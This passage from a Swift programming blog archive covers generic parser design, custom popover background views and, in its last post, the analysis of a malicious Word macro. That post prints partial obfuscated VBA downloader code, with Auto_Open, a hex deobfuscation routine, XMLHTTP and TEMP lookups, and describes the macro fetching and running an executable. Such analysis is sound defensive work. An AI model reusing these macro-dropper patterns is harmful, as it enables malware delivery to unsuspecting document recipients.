            let condition = try element(ConditionClause.self)
            let codeBlock = try block(Statement.self)
    
            return While(condition:condition, codeBlock:codeBlock)
        }
    }

Type Annotation

    final class TypeAnnotationParser: Parser, OptionalElementParser
    {
        func elementIsPresent() -> Bool
        {
            return peek(.COLON)
        }
    
        func parse() throws -> TypeAnnotation
        {
            assertNext(.COLON)
    
            let attributes = try elements(Attribute.self)
            let type       = try element(Type.self)
    
            if attributes == nil
            {
                return .TYPE(type)
            }
            else
            {
                return .ATTRIBUTED_TYPE(attributes!, type)
            }
        }
    }

Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

August 25, 2015

Swift Miscellany: Parsing With Generics And Protocols

The pseudo-code to parse a parenthesis delimited comma separated list of homogeneous elements, such as this one

    tuple-pattern : '(' tuple-pattern-element-list? ')'
    
    tuple-pattern-element-list : tuple-pattern-element
                               | tuple-pattern-element ',' tuple-pattern-element-list

or this

    parenthesized-expression : '(' expression-element-list? ')'
    
    expression-element-list : expression-element
                            | expression-element ',' expression-element-list

looks something like this

    ...
    
    if next token != '('
    {
        error
    }
    
    initialize element list
    
    while peek token != ')'
    {
        element = try to parse element
        
        add element to element list
    }
    if next token != ')'
    {
        really bad error
    }
    return element list
    
    ...

The differences in each case will be the types of ‘element’ and ‘element list’ and exactly what is involved in parsing the element.

The number of times you get to write the actual code in practice will depend to a large extent on the programming language you are using.

Since Swift supports generics we should be able to get away with writing the actual code just once.

We can define a function with a signature something like this

    func list<T>(tokens:TokenStream, 'something to parse the element of type T') -> [T]?

One choice for the ‘something to parse the element of type T’ is another function.

The function is passed the tokens and it returns an instance of type T or nil if there was an error which gives us the signature

    (tokens:TokenStream) -> T?

which in turn gives us the function

    func list(tokens:TokenStream, parser:(tokens:TokenStream) -> T?)  -> [T]?
    {
        if !next(tokens, .LEFT_PAREN)
        {
            return nil
        }
    
        var elements = [T]()
    
        while !peek(tokens, .RIGHT_PAREN)
        {
            let element = parser(tokens:tokens)
    
            if element == nil
            {
                return nil
            }
    
            elements.append(element!)
    
            if !peek(tokens, .COMMA)
            {
                break
            }
            assertNext(tokens, .COMMA)
        }
        assertNext(tokens, .RIGHT_PAREN)
        return elements
    }

In Swift 2.0 we can make things simpler by dispensing with the returning nil on error convention.

    func list(tokens:TokenStream, parser:(tokens:TokenStream) throws -> T) throws  -> [T]
    {
        try next(tokens, .LEFT_PAREN)
    
        var elements = [T]()
    
        while !peek(tokens, .RIGHT_PAREN)
        {
            elements.append(try parser(tokens:tokens))
    
            if !peek(tokens, .COMMA)
            {
                break
            }
            assertNext(tokens, .COMMA)
        }
        assertNext(tokens, .RIGHT_PAREN)
        return elements
    }

Taking A Slightly More Object-oriented Approach

For practical or ideological reasons we might want to use an ‘object’ or ‘objects’ to do the parsing rather than functions.

In this case we might want to pass an instance of a type capable of doing the parsing of the element rather than using one these old-fangled closure thingys.

For the method, as it now is, to remain generic one possibility would be to pass an instance of a generic class in which case the function signature would look something like this

    func list<T>(parser:GenericListElementParser<T>) throws -> [T]

This is pretty straightforward but not that flexible.

The original function could take any function, method, or closure with the right signature, but in this case any object passed would either have to an instance of the generic class itself or a sub-class of it.

It might be better if we could define a protocol which the object must implement but there seems to be a problem.

    protocol ListElementParser
    {
        func parse() throws -> ????
    }

How do we define the return type of the method the object must implement ?

Unlike classes, enums and structs, protocol definitions cannot have a generic argument clause so how do we define the return type ?

The answer is to define an ‘associated type’ that can then be referenced in subsequent declarations in the protocol

    protocol ListElementParser
    {
        typealias ElementType
        
        func parse() throws -> ElementType
    }

For each type that implements the protocol ListElementParser, for example

    final class ExpressionElementParser: ListElementParser
    {
        func parse() throws -> ExpressionElement
        {
            ...
        }
    }

the concrete type corresponding to ElementType is inferred from the declaration of the parse method.

The function signature now has to be generic in the argument type and the return type but what does the constraint look like ?

    func list<????>(parser:P) throws -> T

It has to include both P and T, and we have to constrain the type P to implement the ListElementParser.

The constraint on the the type P can be expressed like this

    P:ListElementParser

so how about

    func list<P:ListElementParser, T>(p:P) throws -> [T]
    {
        try next(.LEFT_PAREN)
    
        var elements = [T]()
    
        while !peek(.RIGHT_PAREN)
        {
            elements.append(try p.parse())
    
            if !peek(.COMMA)
            {
                break
            }
            assertNext(.COMMA)
        }
        assertNext(.RIGHT_PAREN)
        return elements
    }

Nope, the compiler is having none of it.

It states, not unreasonably

    Cannot invoke 'append' with an argument list of type '(P.ElementType)'

Just plonking the T in the generic argument list tells the compiler nothing.

We have to relate the type T to the type ElementType being returned from the call to the parse method.

Fortunately there is a place in the generic parameter list where we can put requirements like this.

The requirement we have is that

the type ElementType of the ListElementParser type is the same as the type T

which in generic parameter clause requirements speak can be expressed very simply

    P.ElementType == T

We can add this to the generic parameter clause in the ‘requirements section’ and the compiler is happy.

    func list<P:ListElementParser, T where P.ElementType == T>(p:P) throws -> [T]
    {
        try next(.LEFT_PAREN)
    
        var elements = [T]()
    
        while !peek(.RIGHT_PAREN)
        {
            elements.append(try p.parse())
    
            if !peek(.COMMA)
            {
                break
            }
            assertNext(.COMMA)
        }
        assertNext(.RIGHT_PAREN)
        return elements
    }

An Incremental Improvement

To use the function we need to first construct an instance of the parser which is a pain if the only reason for constructing it is to pass it to the function.

Why can’t the function construct the parser itself ?

In Swift it can.

We need to change the function signature to take a type which implements ListElementParser.

    func list<P:ListElementParser, T where P.ElementType == T>(pType:P.Type) throws -> [T]

and we need to specify that the type implements the necessary constructor.

    protocol ListElementParser
    {
        typealias ElementType
    
        init(context:ParserContext, tokens:TokenStream)
    
        func parse() throws -> ElementType
    }

To construct an instance we simply do

    let parser = pType.init(context:context, tokens:tokens)

The function now looks like this

    func list<P:ListElementParser, T where P.ElementType == T>(pType:P.Type) throws -> [T]
    {
        try next(.LEFT_PAREN)
    
        let parser   = pType.init(context:context, tokens:tokens)
        var elements = [T]()
    
        while !peek(.RIGHT_PAREN)
        {
            elements.append(try parser.parse())
    
            if !peek(.COMMA)
            {
                break
            }
            assertNext(.COMMA)
        }
        assertNext(.RIGHT_PAREN)
        return elements
    }

To invoke the method we now pass the type of the parser

    try list(ExpressionElementParser.self)

Another Incremental Improvement

Now it is no longer necessary to contruct an instance of the parser for type T but it is still necessary to know what the type of parser is.

It would be simpler if it was possible to simply pass the type of T and decouple the caller from the details of how T‘s get parsed.

We can also do this.

To do so we need another protocol.

    protocol ListElement
    {
        typealias ParserType: ListElementParser
    
        static var parserType : ParserType.Type { get }
    }

and the method now looks like this

    func list<T:ListElement where T.ParserType.ElementType == T>(tType:T.Type) throws -> [T]
    {
        try next(.LEFT_PAREN)
            
        let parser   = tType.parserType.init(context:context, tokens:tokens)
        var elements = [T]()
            
        while !peek(.RIGHT_PAREN)
        {
            elements.append(try parser.parse())
            
            if !peek(.COMMA)
            {
                break
            }
            assertNext(.COMMA)
        }
        assertNext(.RIGHT_PAREN)
        return elements
    }

For this to work in the ExpressionElementParser case the ExpressionElement type has to implement the ListElement protocol.

    enum ExpressionElement: ListElement
    {
        static let parserType = ExpressionElementParser.self
    
        //
    
        case EXPRESSION(Expression)
        case NAMED_EXPRESSION(String, Expression)
    }

Now we can simply pass the type of the elements in the list.

    try list(ExpressionElement.self)

Via the extension mechanism this approach can be made to work with any class, enum, or struct type.

Defining

    final class StringListElementParser: ListElementParser
    {
        init(context:ParserContext, tokens:TokenStream)
        {
            // ...
        }
    
        func parse() throws -> String
        {
            // ...
        }
    }

and

    extension String: ListElement
    {
        static let parserType = StringListElementParser.self
    }

means we can do

    try list(String.self)

Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

August 24, 2015

Drawing Triangles For Fun And Profit, Or How To Make Your Popovers Stand Out From The Crowd

Filed under: iOS, Swift, UIKIt, UIPopoverBackgroundView — Tags: , , , — Simon Lewis @ 11:02 am

If have you have ever wanted to make the arrows of your popovers that little bit more ‘pointy’, or you have hankered after a co-respondent popover, for example

Popover

then help is at hand courtesy of the UIPopoverBackgroundView class.

The UIPopoverBackgroundView Class

The UIPopoverBackgroundView class defines two properties.

The arrowDirection Property

    var arrowDirection: UIPopoverArrowDirection

The documentation for this reads

The direction in which the popover arrow is pointing.

which is entirely obvious unless it is not.

A picture sometimes helps.

Arrows And Their Directions

UpDownLeftRight

The arrowOffset Property

    var arrowOffset: CGFloat

The documentation uses a lot of words to explain this.

Here are some pictures instead

Offset For Vertical Arrows

VerticalOffsets

Offset For Horizontal Arrows

HorizontalOffsets

The UIPopoverBackgroundViewMethods Protocol

The UIPopoverBackgroundView class implements the UIPopoverBackgroundViewMethods protocol

The arrowBase Method

    static func arrowBase() -> CGFloat

Note that this is a static, i.e., class method

The base of an arrow (see below) must be the same for all directions and it must not change.

The arrowHeight Method

    static func arrowHeight() -> CGFloat

Note that this is a static, i.e., class method

The height of an arrow (see below) must be the same for all directions and it must not change.

The contentViewInsets Method

    static func contentViewInsets() -> UIEdgeInsets

Note that this is a static, i.e., class method

This method specifies the distances between the edges of the popover’s content and the edges of the background view’s frame. exclusive of the arrow.

Arrow Bases And Heights

BaseHeight

Subclassing The UIPopoverBackgroundView Class

The only way to make use of the UIPopoverBackgroundView class is to sub-class it and override both it properties and the three methods defined by the UIPopoverBackgroundViewMethods protocol.

The arrowDirection Property

It is not possible to override the arrowDirection property with a stored property so we need to define a computed
property.

To start with we don’t really know what we should be doing when getting or setting the value but the pseudo-code looks like this

    override var arrowDirection : UIPopoverArrowDirection
    {
        get
        {
            return ????
        }
    
        set
        {
            ???? = newValue
        }
    }

The arrowOffset Property

The same holds true for the arrowOffset property. It needs to be overridden by a computed property and we don’t really know what we will need to do.

    override var arrowOffset : CGFloat
    {
        get
        {
            return ????
        }
        
        set
        {
            ???? = newValue
        }
    }

The arrowBase Method

This is a ‘class’ method so there is not a lot of room for manoeuvre, We will will need to return some kind of constant value obtained from somewhere.

    override static func arrowBase() -> CGFloat
    {
        return ????
    }

The arrowHeight Method

The same is true for the arrowHeight method.

    override static func arrowHeight() -> CGFloat
    {
        return ????
    }

The contentViewInsets Method

This one we can do straight away

    override static func contentViewInsets() -> UIEdgeInsets
    {
        return UIEdgeInsets(top: 10.0, left: 10.0, bottom:10.0, right: 10.0)
    }

but its really not that exciting.

A Direction Digression Or When Is An Enum Not An Enum ?

For our purposes the arrow direction can be one of

  • Up

  • Down

  • Left

  • Right

This can be represented by the Swift enum

    enum Direction
    {
        case UP
        case DOWN
        case LEFT
        case RIGHT
    }

which results in switch statements that look like this

    switch direction
    {
        case .UP:
    
            ...
            
        case .DOWN:
        
            ...
            
        case .LEFT:
        
            ...
            
        case .RIGHT:
        
            ...
    }

What the API uses to represent the direction of an arrow is the type

    UIPopoverArrowDirection

which results in switch statements that look like this

    switch direction
    {
        case UIPopoverArrowDirection.Up:
    
            ...
    
        case .UIPopoverArrowDirection.Down:
    
            ...
    
        case .UIPopoverArrowDirection.Left:
    
            ...
    
        case .UIPopoverArrowDirection.Right:
    
            ...
            
        default:
        
            ...
    }

because in Swift UIPopoverArrowDirection is not an enum at all.

In Objective-C UIPopoverArrowDirection is defined like this

    typedef NSUInteger UIPopoverArrowDirection;

There are some associated constants defined using an anonymous enum

    enum {
        UIPopoverArrowDirectionUp = 1UL << 0,
        UIPopoverArrowDirectionDown = 1UL << 1,
        UIPopoverArrowDirectionLeft = 1UL << 2,
        UIPopoverArrowDirectionRight = 1UL << 3,
        UIPopoverArrowDirectionAny = UIPopoverArrowDirectionUp | UIPopoverArrowDirectionDown |
        UIPopoverArrowDirectionLeft | UIPopoverArrowDirectionRight,
        UIPopoverArrowDirectionUnknown = NSUIntegerMax
    };

This is a standard ‘C’ idiom which makes it possible to specify both an arrow direction and a set of arrow directions as values of the ‘type’ UIPopoverArrowDirection.

This translates to something like the following in Swift

    struct UIPopoverArrowDirection : RawOptionSetType {
        init(_ rawValue: UInt)
        init(rawValue rawValue: UInt)
        static var Up: UIPopoverArrowDirection { get }
        static var Down: UIPopoverArrowDirection { get }
        static var Left: UIPopoverArrowDirection { get }
        static var Right: UIPopoverArrowDirection { get }
        static var Any: UIPopoverArrowDirection { get }
        static var Unknown: UIPopoverArrowDirection { get }
    }

which provides a bit of syntactic sugar, and a little more type safety in that you cannot accidentally pass any old UInt to something expecting a UIPopoverArrowDirection value. Now you have to wrap it in a struct first !

In our case, semantically at least, the API shouldn’t be passing a value that is not equal to one of the static values Up, Down, Left, or Right but as the compiler is making clear there is nothing to stop it doing so programatically, hence the need for a ‘default’ case.

The problem with having to deal with a default case is that increases the complexity of the code for no gain whatsoever.

Each time we switch on a value of ‘type’ UIPopoverArrowDirection we have to decide what the ‘right thing’ to do is in the default case, even if that thing is nothing.

If we change the code containing the switch then the decision needs to be taken once again.

If we need to add another switch you need to make the decision again.

Its much easier and safer to work with values of type Direction internally, converting from the UIPopoverArrowDirection value at the point it is set and converting back again when the value is accessed

We can extend Direction quite simply to do the conversions for us

    extension Direction
    {
        static func fromPopoverArrowDirection(direction:UIPopoverArrowDirection) -> Direction?
        {
            switch direction
            {
                case UIPopoverArrowDirection.Up:
    
                    return .UP
    
                case UIPopoverArrowDirection.Down:
    
                    return .DOWN
    
                case UIPopoverArrowDirection.Left:
    
                    return .LEFT
    
                case UIPopoverArrowDirection.Right:
    
                    return .RIGHT
    
                default:
    
                    return nil
            }
        }
    
        func toPopoverArrowDirection() -> UIPopoverArrowDirection
        {
            switch self
            {
                case .UP:
    
                    return UIPopoverArrowDirection.Up
    
                case .DOWN:
    
                    return UIPopoverArrowDirection.Down
    
                case .LEFT:
    
                    return UIPopoverArrowDirection.Left
    
                case .RIGHT:
    
                    return UIPopoverArrowDirection.Right
            }
        }
    }

We’re Going To Need An ‘Arrow’

So far its been all arrows all the time so let’s define a nifty structure to hold all the arrow related stuff

    private struct Arrow
    {
        let height    : CGFloat   = 30.0
        let base      : CGFloat   = 20.0
    
        var direction : Direction = .UP
        var offset    : CGFloat   = 0.0
    }

a variable for storing one

    private var arrow  : Arrow = Arrow()

and a ‘prototype’ arrow for the static methods to access

    private static let PROTO_ARROW = Arrow()

New And Improved

We can now flesh out the implementations of the overridden methods and properties like so

    override static func arrowBase() -> CGFloat
    {
        return PROTO_ARROW.base
    }
    override static func arrowHeight() -> CGFloat
    {
        return PROTO_ARROW.height
    }

For the arrowDirection property, if we are ever handed an ‘invalid’ UIPopoverArrowDirection value we simply drop it on the floor. Its not clear what else we could do.

    override var arrowDirection : UIPopoverArrowDirection
    {
        get
        {
            return arrow.direction.toPopoverArrowDirection()
        }
    
        set
        {
            if let direction = Direction.fromPopoverArrowDirection(newValue)
            {
                arrow.direction = direction
            }
        }
    }
    override var arrowOffset: CGFloat
    {
        get
        {
            return arrow.offset
        }
    
        set
        {
            arrow.offset = newValue
        }
    }

Now What ?

Now we have to provide the ‘background’ for the popover.

By default the background is simply an arrow plus a rectangle.

In theory we could draw it but the documentation states that we should use images.

To do this we need to add two instances of UIImageView as subviews, one for the arrow and one for the ‘rest’

BasicBackground

The basic task is to work out where the two components of the background should go.

We need to set the frames of the two subviews on the basis of the arrow base and height, and the current values for the arrow’s direction and offset.

We can define a method on the Arrow struct which returns its frame given the bounds of its super view

    func frame(container:CGRect) -> CGRect
    {
        let containerMidX   = CGRectGetMidX(container)
        let containerMidY   = CGRectGetMidY(container)
        let containerWidth  = container.size.width
        let containerHeight = container.size.height
    
        let halfBase        = base/2.0
    
        let x    : CGFloat
        let y    : CGFloat
        let size : CGSize = frameSize()
    
        switch direction
        {
            case .UP:
    
                x = containerMidX + offset - halfBase
                y = 0.0
    
            case .DOWN:
    
                x = containerMidX + offset - halfBase
                y = containerHeight - height
    
            case .LEFT:
    
                x = 0.0
                y = containerMidY + offset - halfBase
    
            case .RIGHT:
    
                x = containerWidth - height
                y = containerMidY + offset - halfBase
        }
        return CGRect(x: x, y: y, width:size.width, height:size.height)
    }

When the arrow is ‘vertical’ the x coordinate of the origin is the same, and the arrow is either at the ‘top’ if the direction is .UP, or at the bottom if the direction is .DOWN.

When the arrow is ‘horizontal’ the y coordinate of the origin is the same and the arrow is on the left if the direction is .LEFT or on the right if the direction is .RIGHT.

This method calls the frameSize method

    private func frameSize() -> CGSize
    {
        switch direction
        {
            case .UP,
                 .DOWN:
    
                return CGSize(width: base, height: height)
    
            case .LEFT,
                 .RIGHT:
    
                return CGSize(width: height, height: base)
        }
    }

Since the layout is a function of the current values of the arrow’s direction and offset we need to add calls to the setNeedLayout method each time either of these values change.

    override var arrowDirection : UIPopoverArrowDirection
    {
        get
        {
            return arrow.direction.toPopoverArrowDirection()
        }
    
        set
        {
            if let direction = Direction.fromPopoverArrowDirection(newValue)
            {
                arrow.direction = direction
                setNeedsLayout()
            }
        }
    }
    override var arrowOffset: CGFloat
    {
        get
        {
            return arrow.offset
        }
    
        set
        {
            arrow.offset = newValue
            setNeedsLayout()
        }
    }

This ensures that the layoutSubviews method will be called when necessary.

    override func layoutSubviews()
    {
        let arrowFrame      = arrow.frame(self.bounds)
        var backgroundFrame = self.bounds
    
        switch arrow.direction
        {
            case .UP:
    
                backgroundFrame.origin.y    += arrowFrame.height
                backgroundFrame.size.height -= arrowFrame.height
    
            case .DOWN:
    
                backgroundFrame.size.height -= arrowFrame.height
    
            case .LEFT:
    
                backgroundFrame.origin.x   += arrowFrame.width
                backgroundFrame.size.width -= arrowFrame.width
    
            case .RIGHT:
    
                backgroundFrame.size.width -= arrowFrame.width
        }
    
        backgroundView?.frame = backgroundFrame
    
        arrowView?.image = arrowImages[arrow.direction]
        arrowView?.frame = arrowFrame
    }

Wiring It All Up

To get our UIPopoverBackgroundView sub-class to be used for a popover being presented via a segue we need to set the property

   var popoverBackgroundViewClass: AnyObject.Type?

of the UIPopoverPresentationController instance, managing the popover’s display.

This can be done in the appropriate prepareForSegue method

    override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?)
    {
        if let segueId = segue.identifier
        {
            switch segueId
            {
                case "CustomPopoverSegue":
    
                    let dvc = segue.destinationViewController as? UIViewController
                    let ppc = dvc?.popoverPresentationController
    
                    ppc?.popoverBackgroundViewClass = CustomPopoverBackgroundView.self
    
                default:
    
                    break
            }
        }
    }

Note that it is the class itself not an instance of the class which is assigned to the property.

About That Arrow Drawing …

It turns out that no actual drawing of arrows is required at runtime which is a bit disappointing.

This is not strictly true, you can draw them, it does appear to work, but you are supposed to use images.

You can, if you wish, use a single image and rotate it as necessary.

Alternatively, for those of us who do not entirely trust affine transformations, after all how do you know what they are really doing ?, you simply have one image for each direction, which you can of course draw, so all is not lost.

Here’s some very simple code for drawing a triangle on Mac OS X.

    func drawArrow(width:Int, height:Int, vertices:(CGPoint, CGPoint, CGPoint), colour:NSColor) -> NSData?
    {
        let bitmap = NSBitmapImageRep(
                         bitmapDataPlanes:
                             nil,
                         pixelsWide:
                             width,
                         pixelsHigh:
                             height,
                         bitsPerSample:
                             8,
                         samplesPerPixel:
                             4,
                         hasAlpha:
                             true,
                         isPlanar:
                             false,
                         colorSpaceName:
                             NSCalibratedRGBColorSpace,
                         bytesPerRow:
                             (4 * width),
                         bitsPerPixel:
                             32)
        
        NSGraphicsContext.saveGraphicsState()
        NSGraphicsContext.setCurrentContext(NSGraphicsContext(bitmapImageRep:bitmap!))
        
        let (v0, v1, v2) = vertices
        
        let path = NSBezierPath()
        
        path.moveToPoint(v0)
        path.lineToPoint(v1)
        path.lineToPoint(v2)
        path.lineToPoint(v0)
        path.closePath()
        
        colour.setFill()
        
        path.fill()
        
        NSGraphicsContext.restoreGraphicsState()
        
        return bitmap?.representationUsingType(.NSPNGFileType, properties: [NSObject: AnyObject]())
    }

Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

November 23, 2014

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part Eleven — The Grand Finale

Once we have a VBAModule we can get hold of the macro source like this.

    func getModuleSource(cf:CompoundFile, module:VBAModule) -> String?
    {
        let stream = cf.getStream(storage: ["Macros", "VBA"], name: module.streamName)
        let data   = stream?.data()
    
        if data == nil
        {
            return nil
        }
    
        let offset = Int(module.offset)
        let bytes  = data!.bytes
        let start  = bytes + offset
        let size   = Int(stream!.size) - offset
    
        let decompressor = VBADecompressor(bytes:start, nBytes:size)
    
        if let decompressed = decompressor.decompress()
        {
            return
                NSString(
                    bytes:
                        decompressed.bytes,
                    length:
                        decompressed.length,
                    encoding:
                        NSASCIIStringEncoding)
        }
        else
        {
            return nil
        }
    }

There is only one VBA module in this particular file.

It starts like this

    Attribute VB_Name = "ThisDocument"
    Attribute VB_Base = "1Normal.ThisDocument"
    Attribute VB_GlobalNameSpace = False
    Attribute VB_Creatable = False
    Attribute VB_PredeclaredId = True
    Attribute VB_Exposed = True
    Attribute VB_TemplateDerived = True
    Attribute VB_Customizable = True
    Sub Auto_Open()

    ...

and ends with the canonical deobfuscation function.

    ...
    
    Public Function 'seekritFunction'(ByVal sData As String) As String
        Dim i       As Long
        For i = 1 To Len(sData) Step 2
        'seekritFunction' = 'seekritFunction' & Chr$(Val("&H" & Mid$(sData, i, 2)))
        Next i
    End Function

In between there is a lot of stuff like this

    ...
    
    GoTo lwaasqhrsst
    Dim gqtnmnpnrcr As String
    Open 'seekritFunction'("76627362776A7873756268") For Binary As #37555
    Put #37555, , gqtnmnpnrcr
    Close #37555
    lwaasqhrsst:
    Set kaakgrln = CreateObject('seekritFunction'("4D6963") + "ros" + "oft.XML" + "HTTP")

    GoTo gerkcnuiiuy
    Dim rqxnmbhnkoq As String
    Open 'seekritFunction'("757A76737169746D6D6370") For Binary As #29343
    Put #29343, , rqxnmbhnkoq
    Close #29343
    gerkcnuiiuy:
    claofpvn = Environ('seekritFunction'("54454D50"))

    GoTo vfvfbcuqpzg
    Dim vnklmvuptaq As String
    Open 'seekritFunction'("696F78686E716667726E6A") For Binary As #70201
    Put #70201, , vnklmvuptaq
    Close #70201
    vfvfbcuqpzg:
    kaakgrln.Open 'seekritFunction'("474554"), s8RX, False

    ...

which all looks very complicated until you realise that the first six lines of each block are a no-op.

There are approximately one hundred and fifty lines to start with of which about a half are ‘noise’.

What does it do ?

When the document is opened an executable (.exe) is downloaded from a hard-wired location and then run.

Thats it ? After all that ? ‘fraid so, a bit disappointing really isn’t it ? A spell-checker or something I expect. Very helpful of it really.

Still the Swift stuff was fun and the compound file stuff was ‘interesting’ !


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Older Posts »

Blog at WordPress.com.